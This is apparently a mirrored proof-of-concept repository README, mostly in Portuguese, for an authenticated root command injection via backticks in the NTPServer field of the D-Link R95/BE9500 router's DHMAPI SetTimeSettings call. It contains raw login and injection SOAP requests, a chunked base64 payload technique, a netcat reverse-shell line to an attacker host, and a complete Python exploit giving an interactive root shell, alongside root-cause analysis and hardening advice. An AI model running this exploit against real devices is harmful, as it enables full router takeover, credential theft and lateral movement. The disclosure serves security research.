
PoC de injeção de comando autenticada para D-Link R95/BE9500 DHMAPI SetTimeSettings, alcançando RCE como root via injeção de backtick no NTPServer, com script de exploit completo.
O D-Link R95 BE9500 Wi-Fi 7 Smart Router (versão de firmware BE9500_1.00.16) contém uma vulnerabilidade de injeção de comandos na interface DHMAPI (SOAP sobre HTTPS) ao processar requisições SetTimeSettings. O campo <NTPServer> controlado pelo usuário é armazenado no banco de dados de configuração sem qualquer sanitização ou validação de metacaracteres de shell. Posteriormente, quando a configuração é sincronizada para o UCI (ntpclient.@ntpserver[0].hostname), o serviço backend vulnerável constrói e executa um comando de shell entre aspas duplas por meio de uma chamada do tipo system(). Ao injetar crases (```) no valor de <NTPServer>, um atacante pode obter substituição de comando — o shell avalia o conteúdo injetado antes de executar o comando concatenado, permitindo execução arbitrária de comandos com privilégios de root (uid=0).
O ataque requer uma sessão válida de gerenciamento web (sid) obtida por meio de acesso autenticado (testado com a conta de administrador Admin). Essa vulnerabilidade é ainda amplificada pelas credenciais padrão fracas do dispositivo ou por possíveis problemas de bypass de autenticação, expandindo significativamente a superfície de ataque no mundo real.
Um atacante autenticado pode executar comandos arbitrários com privilégios de root, levando ao comprometimento total do dispositivo — incluindo leitura de arquivos sensíveis (por exemplo, o texto cifrado de /etc/rg_config/admin, extração de backups completos de configuração), instalação de backdoors persistentes, estabelecimento de reverse shells e pivô para a rede interna para ataques de movimento lateral.
A vulnerabilidade reside no binário de backend de gerenciamento web /bin/ssi (executado como root), que implementa a interface SOAP DHMAPI.
Fonte de contaminação (taint source) — o handler SetTimeSettings (função no offset 0x6bd84 em ssi, firmware 1.01B06):
<NTPServer> da requisição SOAP para um buffer de pilha, com limite de comprimento de 0x3f (63 bytes) — este é um limite de tamanho de buffer, não uma verificação de segurança.time.value.NTPServer por meio de um setter interno — nenhuma filtragem ou escape de metacaracteres de shell é realizada em nenhum momento.Destino da contaminação (taint sink) — sincronização de configuração para o UCI. O ssi sincroniza valores de configuração concatenando-os em strings de comando de shell executadas por meio de chamadas do tipo system(). Strings de formato embutidas encontradas no binário incluem:
uci set %s="%s" > /dev/null
Como o valor é envolvido por aspas duplas, o shell realiza substituição de comando em crases (`) / $() dentro do valor antes de executar o comando concatenado. Como o ssi é executado como root, o comando injetado é executado com privilégios de root.
Evidências de temporização confirmam que a avaliação ocorre de forma síncrona dentro do caminho de tratamento da requisição: injetar `sleep 10` atrasa a resposta HTTP em ~10 segundos. O valor envenenado também persiste no UCI (ntpclient.@ntpserver[0].hostname) e posteriormente é consumido sem aspas por /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME), uma lacuna secundária de hardening.
Restrições de exploração (verificadas):
Todas as requisições DHMAPI devem conter:
Cookie: uid=<session cookie> (do login)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction correspondentes à ação SOAP, além de User-Agent e Referer (UA/Referer ausentes resultam em HTTP 400/500)ts é um timestamp em milissegundos; o dispositivo não valida a atualidade, então um valor fixo é reutilizávelDerivação de privkey:
Login / Action=request (assinado com a string de chave estática withoutloginkey) retorna Challenge, Cookie, PublicKey, SaltHashe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (ou a senha em texto claro quando SaltHash está ausente)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login com o acima retorna <LoginResult>success</LoginResult>; requisições subsequentes usam Cookie: uid=<step-1 Cookie> assinado com POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
Esperado: <LoginResult>success</LoginResult>.

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
Corpo da resposta observado:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
A resposta HTTP é atrasada em ~10 segundos; um nome de servidor NTP benigno retorna imediatamente.
O limite de 63 bytes do campo é contornado escrevendo um script em fragmentos base64:
SetTimeSettings repetidas, cada uma anexando um fragmento:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs (observe os espaços obrigatórios ao redor dos pipes para o busybox ash):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`Resultado: um shell root interativo (~ #, BusyBox ash) é recebido no listener do atacante.
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi armazena o campo NTPServer (e campos irmãos no mesmo handler) no banco de dados de configuração sem nenhuma sanitização;system() com o valor envolvido por aspas duplas, fazendo com que o shell avalie crases / $() no valor;ssi é executado como root, então os comandos injetados são executados com o privilégio máximo.O mesmo padrão de código produz pelo menos 7 pontos adicionais de injeção de comandos autenticados neste firmware (TZLocation, DeviceName, Hostname/Username do DDNS, NickName do cliente e uma injeção de segunda ordem via SetNetworkSettings), todos verificados com execução uid=0(root).
[A-Za-z0-9.-]) em campos de entrada do tipo hostname antes do armazenamento;system() pela API libuci (já vinculada ao ssi) ou por chamadas da família exec* sem shell;$HOSTNAME entre aspas em /bin/start_ntpclient.sh;Este repositório é um espelho de distribuição intermediário do PoC da vulnerabilidade CVE-2026-93958 (D-Link R95 / BE9500 DHMAPI Command Injection) (a análise técnica está no relatório original upstream acima, D-Link R95 BE9500.md). O conteúdo é espelhado do repositório público de PoC upstream, apenas para fins de arquivamento e distribuição. O PoC destina-se apenas a pesquisa de segurança, verificação de vulnerabilidades e testes autorizados; não o utilize em alvos não autorizados.
<NTPServer> da requisição SetTimeSettings da interface DHMAPI (SOAP sobre HTTPS)/bin/ssiPrincípio central: a função de tratamento SetTimeSettings do /bin/ssi (offset 0x6bd84) armazena o campo <NTPServer> (limite de comprimento 0x3f=63 bytes, mas sem qualquer filtragem de metacaracteres de shell) literalmente no banco de configuração; ao sincronizar a configuração para o UCI, o ssi concatena o valor em strings de shell como uci set %s="%s" > /dev/null e as executa com system() — o valor é envolvido por aspas duplas, o shell realiza substituição de comando em crases / $(), e como o ssi é executado como root, o comando injetado é executado com privilégios totais.
D-Link R95 BE9500.md —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png —— 上游报告附图(5 张)
requestspython r95_exp.py # interactive root shell (commands run as root on the device)
python r95_exp.py "id" # run a single command
⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含
&;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入/tmp/x再解码执行,输出写入 Web 根目录/www/e后经 HTTP 取回。
Este PoC destina-se apenas a fins de ensino, pesquisa de segurança e testes autorizados, e só pode ser executado em dispositivos próprios ou com autorização explícita. A exploração executa comandos arbitrários com privilégios de root no dispositivo; teste em um ambiente de laboratório descartável.
LICENSE).| Restrição | Resultado verificado |
|---|
| Comprimento do campo | ≤ 63 bytes aceitos; 60 bytes OK, 80 bytes rejeitados (HTTP 400) |
Caractere & | Não pode aparecer (quebra a linha de comando concatenada) |
| Sintaxe de injeção | Crases `cmd` verificadas; espera-se que $(cmd) funcione igualmente |
| Contexto de execução | uid=0(root) gid=0(root) |
| Canal de saída | Sem eco direto; redirecionar para a raiz web (> /www/<file>) e recuperar via HTTP GET |
privkey